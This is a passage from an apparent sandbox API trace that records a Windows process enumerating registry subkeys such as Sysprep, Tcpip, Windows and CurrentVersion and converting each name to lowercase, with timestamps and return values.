dwIndex=0x67, lpName=0x233b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x233c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0026.790] RegEnumKeyW (in: hKey=0x38, dwIndex=0x68, lpName=0x233b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x233c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0026.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x69, lpName=0x233b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x233c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0026.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6a, lpName=0x233b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0026.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6b, lpName=0x233b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x233c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0026.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6c, lpName=0x233b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x233c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0026.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6d, lpName=0x233b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x233c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0026.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6e, lpName=0x233b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x233c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0026.791] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6f, lpName=0x233b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0026.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x233c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x70, lpName=0x233b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x233c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x71, lpName=0x233b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x233c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x72, lpName=0x233b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x73, lpName=0x233b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x233c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x74, lpName=0x233b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x75, lpName=0x233b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x233c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x233b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x233c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0026.792] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x233b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x233c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0026.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x233b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0026.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x233b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x233c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0026.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x233b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x233c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0026.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x233b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x233c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0026.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x233b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x233c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0026.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x233b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x233c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0026.793] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x233b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0026.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x233c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0026.794] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x233b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x233c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0026.794] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x233b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0026.794] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0026.794] RegCloseKey (hKey=0x38) returned 0x0 [0026.794] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x233b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x233c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0026.794] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0026.794] RegCloseKey (hKey=0xc4) returned 0x0 [0026.794] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x233b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x233c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0026.794] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x233b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x233c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x233b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x233c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x233b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x233c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x233b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x233c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x233b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x233c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x233b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x233c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x233b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x233c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x233b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x233c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0026.795] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x233b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x233c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0026.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x233b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x233c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0026.796] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x233b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", 